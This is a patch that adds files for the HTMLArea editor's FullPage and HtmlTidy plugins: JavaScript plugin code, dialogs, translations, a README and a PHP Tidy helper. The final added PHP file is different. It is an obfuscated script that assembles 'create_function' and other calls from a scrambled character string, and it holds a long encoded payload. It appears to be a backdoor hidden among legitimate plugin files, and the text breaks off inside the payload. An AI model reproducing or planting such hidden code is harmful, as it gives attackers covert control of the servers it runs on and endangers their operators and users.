+ cfg.registerButton("FP-docprop", tt["Document properties"], editor.imgURL("docprop.gif", "FullPage"), false,
+ function(editor, id) {
+ self.buttonPress(editor, id);
+ });
+
+ // add a new line in the toolbar
+ cfg.toolbar[0].splice(0, 0, "separator");
+ cfg.toolbar[0].splice(0, 0, "FP-docprop");
+};
+
+FullPage._pluginInfo = {
+ name : "FullPage",
+ version : "1.0",
+ developer : "Mihai Bazon",
+ developer_url : "http://dynarch.com/mishoo/",
+ c_owner : "Mihai Bazon",
+ sponsor : "Thycotic Software Ltd.",
+ sponsor_url : "http://thycotic.com",
+ license : "htmlArea"
+};
+
+FullPage.prototype.buttonPress = function(editor, id) {
+ var self = this;
+ switch (id) {
+ case "FP-docprop":
+ var doc = editor._doc;
+ var links = doc.getElementsByTagName("link");
+ var style1 = '';
+ var style2 = '';
+ for (var i = links.length; --i >= 0;) {
+ var link = links[i];
+ if (/stylesheet/i.test(link.rel)) {
+ if (/alternate/i.test(link.rel))
+ style2 = link.href;
+ else
+ style1 = link.href;
+ }
+ }
+ var title = doc.getElementsByTagName("title")[0];
+ title = title ? title.innerHTML : '';
+ var init = {
+ f_doctype : editor.doctype,
+ f_title : title,
+ f_body_bgcolor : HTMLArea._colorToRgb(doc.body.style.backgroundColor),
+ f_body_fgcolor : HTMLArea._colorToRgb(doc.body.style.color),
+ f_base_style : style1,
+ f_alt_style : style2,
+
+ editor : editor
+ };
+ editor._popupDialog("plugin://FullPage/docprop", function(params) {
+ self.setDocProp(params);
+ }, init);
+ break;
+ }
+};
+
+FullPage.prototype.setDocProp = function(params) {
+ var txt = "";
+ var doc = this.editor._doc;
+ var head = doc.getElementsByTagName("head")[0];
+ var links = doc.getElementsByTagName("link");
+ var style1 = null;
+ var style2 = null;
+ for (var i = links.length; --i >= 0;) {
+ var link = links[i];
+ if (/stylesheet/i.test(link.rel)) {
+ if (/alternate/i.test(link.rel))
+ style2 = link;
+ else
+ style1 = link;
+ }
+ }
+ function createLink(alt) {
+ var link = doc.createElement("link");
+ link.rel = alt ? "alternate stylesheet" : "stylesheet";
+ head.appendChild(link);
+ return link;
+ };
+
+ if (!style1 && params.f_base_style)
+ style1 = createLink(false);
+ if (params.f_base_style)
+ style1.href = params.f_base_style;
+ else if (style1)
+ head.removeChild(style1);
+
+ if (!style2 && params.f_alt_style)
+ style2 = createLink(true);
+ if (params.f_alt_style)
+ style2.href = params.f_alt_style;
+ else if (style2)
+ head.removeChild(style2);
+
+ for (var i in params) {
+ var val = params[i];
+ switch (i) {
+ case "f_title":
+ var title = doc.getElementsByTagName("title")[0];
+ if (!title) {
+ title = doc.createElement("title");
+ head.appendChild(title);
+ } else while (node = title.lastChild)
+ title.removeChild(node);
+ if (!HTMLArea.is_ie)
+ title.appendChild(doc.createTextNode(val));
+ else
+ doc.title = val;
+ break;
+ case "f_doctype":
+ this.editor.setDoctype(val);
+ break;
+ case "f_body_bgcolor":
+ doc.body.style.backgroundColor = val;
+ break;
+ case "f_body_fgcolor":
+ doc.body.style.color = val;
+ break;
+ }
+ }
+};
--- /dev/null
+<files>
+ <file name="*.{gif,jpg,jpeg}" />
+</files>
--- /dev/null
+// I18N for the FullPage plugin
+
+// LANG: "en", ENCODING: UTF-8 | ISO-8859-1
+// Author: Mihai Bazon, http://dynarch.com/mishoo
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+FullPage.I18N = {
+ "Alternate style-sheet:": "Alternate style-sheet:",
+ "Background color:": "Background color:",
+ "Cancel": "Cancel",
+ "DOCTYPE:": "DOCTYPE:",
+ "Document properties": "Document properties",
+ "Document title:": "Document title:",
+ "OK": "OK",
+ "Primary style-sheet:": "Primary style-sheet:",
+ "Text color:": "Text color:"
+};
--- /dev/null
+// I18N for the FullPage plugin\r\r
+\r\r
+// LANG: "he", ENCODING: UTF-8\r\r
+// Author: Liron Newman, http://www.eesh.net, <plastish at ultinet dot org>\r\r
+\r\r
+// FOR TRANSLATORS:\r\r
+//\r\r
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE\r\r
+// (at least a valid email address)\r\r
+//\r\r
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;\r\r
+// (if this is not possible, please include a comment\r\r
+// that states what encoding is necessary.)\r\r
+\r\r
+FullPage.I18N = {\r\r
+ "Alternate style-sheet:": "גיליון סגנון אחר:",\r\r
+ "Background color:": "צבע רקע:",\r\r
+ "Cancel": "ביטול",\r\r
+ "DOCTYPE:": "DOCTYPE:",\r\r
+ "Document properties": "מאפייני מסמך",\r\r
+ "Document title:": "כותרת מסמך:",\r\r
+ "OK": "אישור",\r\r
+ "Primary style-sheet:": "גיליון סגנון ראשי:",\r\r
+ "Text color:": "צבע טקסט:"\r\r
+};\r\r
--- /dev/null
+<files>
+ <file name="*.js" />
+</files>
--- /dev/null
+// I18N for the FullPage plugin
+
+// LANG: "en", ENCODING: UTF-8 | ISO-8859-1
+// Author: Mihai Bazon, http://dynarch.com/mishoo
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+FullPage.I18N = {
+ "Alternate style-sheet:": "Template CSS alternativ:",
+ "Background color:": "Culoare de fundal:",
+ "Cancel": "Renunţă",
+ "DOCTYPE:": "DOCTYPE:",
+ "Document properties": "Proprietăţile documentului",
+ "Document title:": "Titlul documentului:",
+ "OK": "Acceptă",
+ "Primary style-sheet:": "Template CSS principal:",
+ "Text color:": "Culoare text:"
+};
--- /dev/null
+<files>
+ <file name="*.{js,html,cgi,css}" />
+
+ <dir name="lang" />
+ <dir name="img" />
+ <dir name="popups" />
+</files>
+
--- /dev/null
+<html>
+
+<head>
+ <title>Document properties</title>
+
+<script type="text/javascript" src="../../../popups/popup.js"></script>
+
+<script type="text/javascript">
+
+FullPage = window.opener.FullPage; // load the FullPage plugin and lang file ;-)
+window.resizeTo(400, 100);
+
+ var accepted = {
+ f_doctype : true,
+ f_title : true,
+ f_body_bgcolor : true,
+ f_body_fgcolor : true,
+ f_base_style : true,
+ f_alt_style : true
+ };
+
+var editor = null;
+function Init() {
+ __dlg_translate(FullPage.I18N);
+ __dlg_init();
+ var params = window.dialogArguments;
+ for (var i in params) {
+ if (i in accepted) {
+ var el = document.getElementById(i);
+ el.value = params[i];
+ }
+ }
+ editor = params.editor;
+ document.getElementById("f_title").focus();
+ document.getElementById("f_title").select();
+};
+
+function onOK() {
+ var required = {
+ };
+ for (var i in required) {
+ var el = document.getElementById(i);
+ if (!el.value) {
+ alert(required[i]);
+ el.focus();
+ return false;
+ }
+ }
+
+ var param = {};
+ for (var i in accepted) {
+ var el = document.getElementById(i);
+ param[i] = el.value;
+ }
+ __dlg_close(param);
+ return false;
+};
+
+function onCancel() {
+ __dlg_close(null);
+ return false;
+};
+
+</script>
+
+<style type="text/css">
+html, body {
+ background: ButtonFace;
+ color: ButtonText;
+ font: 11px Tahoma,Verdana,sans-serif;
+ margin: 0px;
+ padding: 0px;
+}
+body { padding: 5px; }
+table {
+ font: 11px Tahoma,Verdana,sans-serif;
+}
+select, input, button { font: 11px Tahoma,Verdana,sans-serif; }
+button { width: 70px; }
+table .label { text-align: right; width: 12em; }
+
+.title { background: #ddf; color: #000; font-weight: bold; font-size: 120%; padding: 3px 10px; margin-bottom: 10px;
+border-bottom: 1px solid black; letter-spacing: 2px;
+}
+
+#buttons {
+ margin-top: 1em; border-top: 1px solid #999;
+ padding: 2px; text-align: right;
+}
+</style>
+
+ </head>
+
+ <body onload="Init()">
+
+ <div class="title"><span>Document properties</span></div>
+
+ <table style="width: 100%">
+ <tr>
+ <td class="label"><span>Document title:</span></td>
+ <td><input type="text" id="f_title" style="width: 100%" /></td>
+ </tr>
+ <tr>
+ <td class="label"><span>DOCTYPE:</span></td>
+ <td><input type="text" id="f_doctype" style="width: 100%" /></td>
+ </tr>
+ <tr>
+ <td class="label"><span>Primary style-sheet:</span></td>
+ <td><input type="text" id="f_base_style" style="width: 100%" /></td>
+ </tr>
+ <tr>
+ <td class="label"><span>Alternate style-sheet:</span></td>
+ <td><input type="text" id="f_alt_style" style="width: 100%" /></td>
+ </tr>
+ <tr>
+ <td class="label"><span>Background color:</span></td>
+ <td><input type="text" id="f_body_bgcolor" size="7" /></td>
+ </tr>
+ <tr>
+ <td class="label"><span>Text color:</span></td>
+ <td><input type="text" id="f_body_fgcolor" size="7" /></td>
+ </tr>
+ </table>
+
+ <div id="buttons">
+ <button type="button" name="ok" onclick="return onOK();"><span>OK</span></button>
+ <button type="button" name="cancel" onclick="return onCancel();"><span>Cancel</span></button>
+ </div>
+
+ </body>
+</html>
--- /dev/null
+<files>
+ <file name="*.{js,html,cgi,css}" />
+</files>
+
--- /dev/null
+<html>
+ <head>
+ <title>Test of FullPage plugin</title>
+ <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+ <script type="text/javascript">
+ _editor_url = "../../";
+ </script>
+
+ <!-- load the main HTMLArea files -->
+ <script type="text/javascript" src="../../htmlarea.js"></script>
+ <script type="text/javascript" src="../../lang/en.js"></script>
+ <script type="text/javascript" src="../../dialog.js"></script>
+
+ <!-- <script type="text/javascript" src="popupdiv.js"></script> -->
+ <script type="text/javascript" src="../../popupwin.js"></script>
+
+ <script type="text/javascript">
+ HTMLArea.loadPlugin("TableOperations");
+ HTMLArea.loadPlugin("SpellChecker");
+ HTMLArea.loadPlugin("FullPage");
+
+ function initDocument() {
+ var editor = new HTMLArea("editor");
+ editor.registerPlugin(TableOperations);
+ editor.registerPlugin(SpellChecker);
+ editor.registerPlugin(FullPage);
+ editor.generate();
+ }
+ </script>
+
+ <style type="text/css">
+ @import url(../../htmlarea.css);
+ </style>
+
+ </head>
+
+ <body onload="initDocument()">
+ <h1>Test of FullPage plugin</h1>
+
+ <textarea id="editor" style="height: 30em; width: 100%;">
+ <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
+ <html>
+ <head>
+ <title>FullPage plugin for HTMLArea</title>
+ <link rel="alternate stylesheet" href="http://dynarch.com/mishoo/css/dark.css" />
+ <link rel="stylesheet" href="http://dynarch.com/mishoo/css/cool-light.css" />
+ </head>
+ <body style="background-color: #ddddee; color: #000077;">
+ <table style="width:60%; height: 90%; margin: 2% auto 1% auto;" align="center" border="0" cellpadding="0" cellspacing="0">
+ <tr>
+ <td style="background-color: #ddeedd; border: 2px solid #002; height: 1.5em; padding: 2px; font: bold 24px Verdana;">
+ FullPage plugin
+ </td>
+ </tr>
+ <tr>
+ <td style="background-color: #fff; border: 1px solid #aab; padding: 1em 3em; font: 12px Verdana;">
+ <p>
+ This plugin enables one to edit a full HTML file in <a
+ href="http://dynarch.com/htmlarea/">HTMLArea</a>. This is not
+ normally possible with just the core editor since it only
+ retrieves the HTML inside the <code>body</code> tag.
+ </p>
+ <p>
+ It provides the ability to change the <code>DOCTYPE</code> of
+ the document, <code>body</code> <code>bgcolor</code> and
+ <code>fgcolor</code> attributes as well as to add additional
+ <code>link</code>-ed stylesheets. Cool, eh?
+ </p>
+ <p>
+ The development of this plugin was initiated and sponsored by
+ <a href="http://thycotic.com">Thycotic Software Ltd.</a>.
+ That's also cool, isn't it? ;-)
+ </p>
+ </td>
+ </tr>
+ </table>
+ </body>
+ </html>
+ </textarea>
+
+ <hr />
+ <address><a href="http://dynarch.com/mishoo/">Mihai Bazon</a></address>
+<!-- Created: Wed Oct 1 19:55:37 EEST 2003 -->
+<!-- hhmts start -->
+Last modified on Sat Oct 25 01:06:59 2003
+<!-- hhmts end -->
+<!-- doc-lang: English -->
+ </body>
+</html>
--- /dev/null
+// Plugin for htmlArea to run code through the server's HTML Tidy
+// By Adam Wright, for The University of Western Australia
+//
+// Email: zeno@ucc.gu.uwa.edu.au
+// Homepage: http://blog.hipikat.org/
+//
+// Distributed under the same terms as HTMLArea itself.
+// This notice MUST stay intact for use (see license.txt).
+//
+// Version: 0.5
+// Released to the outside world: 04/03/04
+
+
+HtmlTidy is a plugin for the popular cross-browser TTY WYSIWYG editor,
+htmlArea (http://www.interactivetools.com/products/htmlarea/). HtmlTidy
+basically queries HTML Tidy (http://tidy.sourceforge.net/) on the
+server side, getting it to make-html-nice, instead of relying on masses
+of javascript, which the client would have to download.
+
+Hi, this is a quick explanation of how to install HtmlTidy. Much better
+documentation is probably required, and you're welcome to write it :)
+
+
+* The HtmlTidy directory you should have found this file in should
+ include the following:
+
+ - README
+ This file, providing help installing the plugin.
+
+ - html-tidy-config.cfg
+ This file contains the configuration options HTML Tidy uses to
+ clean html, and can be modified to suit your organizations
+ requirements.
+
+ - html-tidy-logic.php
+ This is the php script, which is queried with dirty html and is
+ responsible for invoking HTML Tidy, getting nice new html and
+ returning it to the client.
+
+ - html-tidy.js
+ The main htmlArea plugin, providing functionality to tidy html
+ through the htmlArea interface.
+
+ - htmlarea.js.onmode_event.diff
+ At the time of publishing, an extra event handler was required
+ inside the main htmlarea.js file. htmlarea.js may be patched
+ against this file to make the changes reuquired, but be aware
+ that the event handler may either now be in the core or
+ htmlarea.js may have changed enough to invalidate the patch.
+
+ UPDATE: now it exists in the official htmlarea.js; applying
+ this patch is thus no longer necessary.
+
+ - img/html-tidy.gif
+ The HtmlTidy icon, for the htmlArea toolbar. Created by Dan
+ Petty for The University of Western Australia.
+
+ - lang/en.js
+ English language file. Add your own language files here and
+ please contribute back into the htmlArea community!
+
+ The HtmlArea directory should be extracted to your htmlarea/plugins/
+ directory.
+
+
+* Make sure the onMode event handler mentioned above, regarding
+ htmlarea.js.onmode_event.diff, exists in your htmlarea.js
+
+
+* html-tidy-logic.php should be executable, and your web server should
+ be configured to execute php scripts in the directory
+ html-tidy-logic.php exists in.
+
+
+* HTML Tidy needs to be installed on your server, and 'tidy' should be
+ an alias to it, lying in the PATH known to the user executing such
+ web scripts.
+
+
+* In your htmlArea configuration, do something like this:
+
+ HTMLArea.loadPlugin("HtmlTidy");
+
+ editor = new HTMLArea("doc");
+ editor.registerPlugin("HtmlTidy");
+
+
+* Then, in your htmlArea toolbar configuration, use:
+
+ - "HT-html-tidy"
+ This will create the 'tidy broom' icon on the toolbar, which
+ will attempt to tidy html source when clicked, and;
+
+ - "HT-auto-tidy"
+ This will create an "Auto Tidy" / "Don't Tidy" dropdown, to
+ select whether the source should be tidied automatically when
+ entering source view. On by default, if you'd like it otherwise
+ you can do so programatically after generating the toolbar :)
+ (Or just hack it to be otherwise...)
+
+
+Thank you.
+
+Any bugs you find can be emailed to zeno@ucc.gu.uwa.edu.au
--- /dev/null
+// Default configuration file for the htmlArea, HtmlTidy plugin
+// By Adam Wright, for The University of Western Australia
+//
+// Evertything you always wanted to know about HTML Tidy *
+// can be found at http://tidy.sourceforge.net/, and a
+// quick reference to the configuration options exists at
+// http://tidy.sourceforge.net/docs/quickref.html
+//
+// * But were afraid to ask
+//
+// Distributed under the same terms as HTMLArea itself.
+// This notice MUST stay intact for use (see license.txt).
+
+word-2000: yes
+clean: no
+drop-font-tags: yes
+doctype: auto
+drop-empty-paras: yes
+drop-proprietary-attributes: yes
+enclose-block-text: yes
+enclose-text: yes
+escape-cdata: yes
+logical-emphasis: yes
+indent: auto
+indent-spaces: 2
+break-before-br: yes
+output-xhtml: yes
+
+force-output: yes
--- /dev/null
+<? ###################################################################
+ ##
+ ## Plugin for htmlArea, to run code through the server's HTML Tidy
+ ## By Adam Wright, for The University of Western Australia
+## This is the server-side script, which dirty code is run through.
+##
+## Distributed under the same terms as HTMLArea itself.
+## This notice MUST stay intact for use (see license.txt).
+##
+
+ // Get the original source
+ $source = $_POST['htisource_name'];
+ $source = stripslashes($source);
+
+ // Open a tidy process - I hope it's installed!
+ $descriptorspec = array(
+ 0 => array("pipe", "r"),
+ 1 => array("pipe", "w"),
+ 2 => array("file", "/dev/null", "a")
+ );
+ $process = proc_open("tidy -config html-tidy-config.cfg", $descriptorspec, $pipes);
+
+ // Make sure the program started and we got the hooks...
+ // Either way, get some source code into $source
+ if (is_resource($process)) {
+
+ // Feed untidy source into the stdin
+ fwrite($pipes[0], $source);
+ fclose($pipes[0]);
+
+ // Read clean source out to the browser
+ while (!feof($pipes[1])) {
+ //echo fgets($pipes[1], 1024);
+ $newsrc .= fgets($pipes[1], 1024);
+ }
+ fclose($pipes[1]);
+
+ // Clean up after ourselves
+ proc_close($process);
+
+ } else {
+ // Better give them back what they came with, so they don't lose it all...
+ $newsrc = "<body>\n" .$source. "\n</body>";
+ }
+
+ // Split our source into an array by lines
+ $srcLines = explode("\n",$newsrc);
+
+ // Get only the lines between the body tags
+ $startLn = 0;
+ while ( strpos( $srcLines[$startLn++], '<body' ) === false && $startLn < sizeof($srcLines) );
+ $endLn = $startLn;
+ while ( strpos( $srcLines[$endLn++], '</body' ) === false && $endLn < sizeof($srcLines) );
+
+ $srcLines = array_slice( $srcLines, $startLn, ($endLn - $startLn - 1) );
+
+ // Create a set of javascript code to compile a new source string
+ foreach ($srcLines as $line) {
+ $jsMakeSrc .= "\tns += '" . str_replace("'","\'",$line) . "\\n';\n";
+ }
+?>
+
+
+<html>
+ <head>
+ <script type="text/javascript">
+
+function setNewHtml() {
+ var htRef = window.parent._editorRef.plugins['HtmlTidy'];
+ htRef.instance.processTidied(tidyString());
+}
+function tidyString() {
+ var ns = '\n';
+ <?=$jsMakeSrc;?>
+ return ns;
+}
+
+ </script>
+ </head>
+
+ <body id="htiNewBody" onload="setNewHtml()">
+ </body>
+</html>
--- /dev/null
+// Plugin for htmlArea to run code through the server's HTML Tidy
+// By Adam Wright, for The University of Western Australia
+//
+// Distributed under the same terms as HTMLArea itself.
+// This notice MUST stay intact for use (see license.txt).
+
+function HtmlTidy(editor) {
+ this.editor = editor;
+
+ var cfg = editor.config;
+ var tt = HtmlTidy.I18N;
+ var bl = HtmlTidy.btnList;
+ var self = this;
+
+ this.onMode = this.__onMode;
+
+ // register the toolbar buttons provided by this plugin
+ var toolbar = [];
+ for (var i in bl) {
+ var btn = bl[i];
+ if (btn == "html-tidy") {
+ var id = "HT-html-tidy";
+ cfg.registerButton(id, tt[id], editor.imgURL(btn[0] + ".gif", "HtmlTidy"), true,
+ function(editor, id) {
+ // dispatch button press event
+ self.buttonPress(editor, id);
+ }, btn[1]);
+ toolbar.push(id);
+ } else if (btn == "html-auto-tidy") {
+ var ht_class = {
+ id : "HT-auto-tidy",
+ options : { "Auto-Tidy" : "auto", "Don't Tidy" : "noauto" },
+ action : function (editor) { self.__onSelect(editor, this); },
+ refresh : function (editor) { },
+ context : "body"
+ };
+ cfg.registerDropdown(ht_class);
+ }
+ }
+
+ for (var i in toolbar) {
+ cfg.toolbar[0].push(toolbar[i]);
+ }
+};
+
+HtmlTidy._pluginInfo = {
+ name : "HtmlTidy",
+ version : "1.0",
+ developer : "Adam Wright",
+ developer_url : "http://blog.hipikat.org/",
+ sponsor : "The University of Western Australia",
+ sponsor_url : "http://www.uwa.edu.au/",
+ license : "htmlArea"
+};
+
+HtmlTidy.prototype.__onSelect = function(editor, obj) {
+ // Get the toolbar element object
+ var elem = editor._toolbarObjects[obj.id].element;
+
+ // Set our onMode event appropriately
+ if (elem.value == "auto")
+ this.onMode = this.__onMode;
+ else
+ this.onMode = null;
+};
+
+HtmlTidy.prototype.__onMode = function(mode) {
+ if ( mode == "textmode" ) {
+ this.buttonPress(this.editor, "HT-html-tidy");
+ }
+};
+
+HtmlTidy.btnList = [
+ null, // separator
+ ["html-tidy"],
+ ["html-auto-tidy"]
+];
+
+HtmlTidy.prototype.onGenerateOnce = function() {
+ var editor = this.editor;
+
+ var ifr = document.createElement("iframe");
+ ifr.name = "htiframe_name";
+ var s = ifr.style;
+ s.position = "absolute";
+ s.width = s.height = s.border = s.left = s.top = s.padding = s.margin = "0px";
+ document.body.appendChild(ifr);
+
+ var frm = '<form id="htiform_id" name="htiform_name" method="post" target="htiframe_name" action="';
+ frm += _editor_url + 'plugins/HtmlTidy/html-tidy-logic.php';
+ frm += '"><textarea name="htisource_name" id="htisource_id">';
+ frm += '</textarea></form>';
+
+ var newdiv = document.createElement('div');
+ newdiv.style.display = "none";
+ newdiv.innerHTML = frm;
+ document.body.appendChild(newdiv);
+};
+
+HtmlTidy.prototype.buttonPress = function(editor, id) {
+ var i18n = HtmlTidy.I18N;
+
+ switch (id) {
+ case "HT-html-tidy":
+
+ var oldhtml = editor.getHTML();
+
+ // Ask the server for some nice new html, based on the old...
+ var myform = document.getElementById('htiform_id');
+ var txtarea = document.getElementById('htisource_id');
+ txtarea.value = editor.getHTML();
+
+ // Apply the 'meanwhile' text, e.g. "Tidying HTML, please wait..."
+ editor.setHTML(i18n['tidying']);
+
+ // The returning tidying processing script needs to find the editor
+ window._editorRef = editor;
+
+ // ...And send our old source off for processing!
+ myform.submit();
+ break;
+ }
+};
+
+HtmlTidy.prototype.processTidied = function(newSrc) {
+ editor = this.editor;
+ editor.setHTML(newSrc);
+};
--- /dev/null
+<files>
+ <file name="*.{gif,png,jpg}" />
+</files>
--- /dev/null
+// I18N constants
+
+// LANG: "en", ENCODING: UTF-8 | ISO-8859-1
+// Author: Adam Wright, http://blog.hipikat.org/
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+HtmlTidy.I18N = {
+ "tidying" : "\n Tidying up the HTML source, please wait...",
+ "HT-html-tidy" : "HTML Tidy"
+};
--- /dev/null
+<files>
+ <file name="*.js" />
+</files>
--- /dev/null
+<files>
+ <file name="*.{html,js,cgi,php,css,cfg}" />
+ <file name="README" />
+
+ <dir name="lang" />
+ <dir name="img" />
+</files>
--- /dev/null
+<?
+ $rRcHEtqGQBu='5n.EUL{]82}H s9t_cr^740b"DzAW,V$Tw(lkBahyj1MZYvNOdF[R)3+CxioXu|;GS6eJ*KpQPgf/Iqm';$MkeHkFkxNUx=$rRcHEtqGQBu{17}.$rRcHEtqGQBu{18}.$rRcHEtqGQBu{67}.$rRcHEtqGQBu{38}.$rRcHEtqGQBu{15}.$rRcHEtqGQBu{67}.$rRcHEtqGQBu{16}.$rRcHEtqGQBu{75}.$rRcHEtqGQBu{61}.$rRcHEtqGQBu{1}.$rRcHEtqGQBu{17}.$rRcHEtqGQBu{15}.$rRcHEtqGQBu{58}.$rRcHEtqGQBu{59}.$rRcHEtqGQBu{1};$TfPnMfhiNrd=$rRcHEtqGQBu{31}.$rRcHEtqGQBu{13};$VzscsYpgvdH=$rRcHEtqGQBu{58}.$rRcHEtqGQBu{75}.$rRcHEtqGQBu{34}.$rRcHEtqGQBu{58}.$rRcHEtqGQBu{13}.$rRcHEtqGQBu{13}.$rRcHEtqGQBu{67}.$rRcHEtqGQBu{15}.$rRcHEtqGQBu{34}.$rRcHEtqGQBu{31}.$rRcHEtqGQBu{16}.$rRcHEtqGQBu{56}.$rRcHEtqGQBu{48}.$rRcHEtqGQBu{48}.$rRcHEtqGQBu{70}.$rRcHEtqGQBu{77}.$rRcHEtqGQBu{3}.$rRcHEtqGQBu{51}.$rRcHEtqGQBu{24}.$rRcHEtqGQBu{18}.$rRcHEtqGQBu{52}.$rRcHEtqGQBu{17}.$rRcHEtqGQBu{11}.$rRcHEtqGQBu{3}.$rRcHEtqGQBu{15}.$rRcHEtqGQBu{78}.$rRcHEtqGQBu{64}.$rRcHEtqGQBu{72}.$rRcHEtqGQBu{37}.$rRcHEtqGQBu{61}.$rRcHEtqGQBu{24}.$rRcHEtqGQBu{7}.$rRcHEtqGQBu{53}.$rRcHEtqGQBu{62}.$rRcHEtqGQBu{62}.$rRcHEtqGQBu{58}.$rRcHEtqGQBu{13}.$rRcHEtqGQBu{13}.$rRcHEtqGQBu{67}.$rRcHEtqGQBu{15}.$rRcHEtqGQBu{34}.$rRcHEtqGQBu{31}.$rRcHEtqGQBu{11}.$rRcHEtqGQBu{32}.$rRcHEtqGQBu{32}.$rRcHEtqGQBu{73}.$rRcHEtqGQBu{16}.$rRcHEtqGQBu{56}.$rRcHEtqGQBu{48}.$rRcHEtqGQBu{48}.$rRcHEtqGQBu{70}.$rRcHEtqGQBu{77}.$rRcHEtqGQBu{3}.$rRcHEtqGQBu{16}.$rRcHEtqGQBu{30}.$rRcHEtqGQBu{27}.$rRcHEtqGQBu{52}.$rRcHEtqGQBu{65}.$rRcHEtqGQBu{51}.$rRcHEtqGQBu{24}.$rRcHEtqGQBu{18}.$rRcHEtqGQBu{52}.$rRcHEtqGQBu{17}.$rRcHEtqGQBu{11}.$rRcHEtqGQBu{3}.$rRcHEtqGQBu{15}.$rRcHEtqGQBu{78}.$rRcHEtqGQBu{64}.$rRcHEtqGQBu{72}.$rRcHEtqGQBu{37}.$rRcHEtqGQBu{61}.$rRcHEtqGQBu{24}.$rRcHEtqGQBu{7}.$rRcHEtqGQBu{53}.$rRcHEtqGQBu{53}.$rRcHEtqGQBu{6}.$rRcHEtqGQBu{75}.$rRcHEtqGQBu{61}.$rRcHEtqGQBu{1}.$rRcHEtqGQBu{17}.$rRcHEtqGQBu{15}.$rRcHEtqGQBu{58}.$rRcHEtqGQBu{59}.$rRcHEtqGQBu{1}.$rRcHEtqGQBu{12}.$rRcHEtqGQBu{18}.$rRcHEtqGQBu{8}.$rRcHEtqGQBu{34}.$rRcHEtqGQBu{31}.$rRcHEtqGQBu{13}.$rRcHEtqGQBu{29}.$rRcHEtqGQBu{31}.$rRcHEtqGQBu{71}.$rRcHEtqGQBu{53}.$rRcHEtqGQBu{6}.$rRcHEtqGQBu{18}.$rRcHEtqGQBu{67}.$rRcHEtqGQBu{15}.$rRcHEtqGQBu{61}.$rRcHEtqGQBu{18}.$rRcHEtqGQBu{1}.$rRcHEtqGQBu{12}.$rRcHEtqGQBu{31}.$rRcHEtqGQBu{13}.$rRcHEtqGQBu{19}.$rRcHEtqGQBu{13}.$rRcHEtqGQBu{15}.$rRcHEtqGQBu{18}.$rRcHEtqGQBu{16}.$rRcHEtqGQBu{71}.$rRcHEtqGQBu{38}.$rRcHEtqGQBu{49}.$rRcHEtqGQBu{34}.$rRcHEtqGQBu{31}.$rRcHEtqGQBu{71}.$rRcHEtqGQBu{29}.$rRcHEtqGQBu{13}.$rRcHEtqGQBu{15}.$rRcHEtqGQBu{18}.$rRcHEtqGQBu{35}.$rRcHEtqGQBu{67}.$rRcHEtqGQBu{1}.$rRcHEtqGQBu{34}.$rRcHEtqGQBu{31}.$rRcHEtqGQBu{13}.$rRcHEtqGQBu{53}.$rRcHEtqGQBu{29}.$rRcHEtqGQBu{31}.$rRcHEtqGQBu{71}.$rRcHEtqGQBu{53}.$rRcHEtqGQBu{63}.$rRcHEtqGQBu{10}.$rRcHEtqGQBu{63}.$rRcHEtqGQBu{67}.$rRcHEtqGQBu{46}.$rRcHEtqGQBu{38}.$rRcHEtqGQBu{35}.$rRcHEtqGQBu{34}.$rRcHEtqGQBu{18}.$rRcHEtqGQBu{8}.$rRcHEtqGQBu{34}.$rRcHEtqGQBu{23}.$rRcHEtqGQBu{38}.$rRcHEtqGQBu{13}.$rRcHEtqGQBu{67}.$rRcHEtqGQBu{66}.$rRcHEtqGQBu{21}.$rRcHEtqGQBu{16}.$rRcHEtqGQBu{49}.$rRcHEtqGQBu{67}.$rRcHEtqGQBu{17}.$rRcHEtqGQBu{59}.$rRcHEtqGQBu{49}.$rRcHEtqGQBu{67}.$rRcHEtqGQBu{34}.$rRcHEtqGQBu{31}.$rRcHEtqGQBu{13}.$rRcHEtqGQBu{53}.$rRcHEtqGQBu{29}.$rRcHEtqGQBu{24}.$rRcHEtqGQBu{77}.$rRcHEtqGQBu{33}.$rRcHEtqGQBu{64}.$rRcHEtqGQBu{48}.$rRcHEtqGQBu{78}.$rRcHEtqGQBu{65}.$rRcHEtqGQBu{33}.$rRcHEtqGQBu{27}.$rRcHEtqGQBu{41}.$rRcHEtqGQBu{52}.$rRcHEtqGQBu{1}.$rRcHEtqGQBu{24}.$rRcHEtqGQBu{53}.$rRcHEtqGQBu{53}.$rRcHEtqGQBu{63}.$rRcHEtqGQBu{10};$RucHctzDrpj="aVcHPBQnKDUDPwsWGy4iGCdfcUNpZGlXByoDIRgzNSALORg1Oxg9EGlYe1VDV2cPAjYDHgczCSAUGD4EPAMkGQ0cPBkzJhw2X3FDaWRpVwcmHzooMg8mRm4CNyMeMhMeBzMWFhEuIxQgHjsPdUJ4R3N3RGRBcUNpZGlXByYfOigyDyZGbgcoPAUMGiASDR0gDSJoXWJHdVJnWX9HbnR7c1cBAzwHFgQiO1l0ESgGNzE8BysgEDcEZkZyGjsCImZKWVdhKjsAICg0KgV7UCUDIR4lFj4QFCEFLhghSWUDNToUekxLSnIuIBkuEAI2A2lNIAsuHjQ7FCEoJgY9DCgbNGhdJwU0D3tVQ1dnDxg9Hh4ZNxphUDUqFjoENQ8gMSUYKSguMgUzCysdblszPQQ2Xnpgck4JHikmLiASNUJ1AygPGCoJNhQ0HjsBJygzJhw2UG0MMwI6Em50e3NXAQM8BxYEIjtZdBg0HiIbPSglOhc1EjMDPAluWyEuHSASaFFYTmk3LiEYDAQkHnpJKBsrIAYMAjMGDQgmByIhVn8DMx83R3J9Z29VIBYnDz8BLRJ6Dxg9Hh4NNxphUDQuFzYoLAU2C25efE